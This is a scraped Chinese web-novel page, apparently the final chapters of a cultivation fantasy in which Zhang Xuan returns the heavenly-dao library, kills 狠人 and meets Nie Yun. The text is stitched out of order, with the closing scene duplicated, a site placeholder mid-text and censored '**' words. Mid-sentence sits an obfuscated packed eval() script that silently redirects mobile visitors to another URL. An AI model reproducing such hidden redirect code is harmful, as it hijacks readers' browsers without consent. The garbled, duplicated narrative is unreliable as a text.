刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十八章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802931|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… 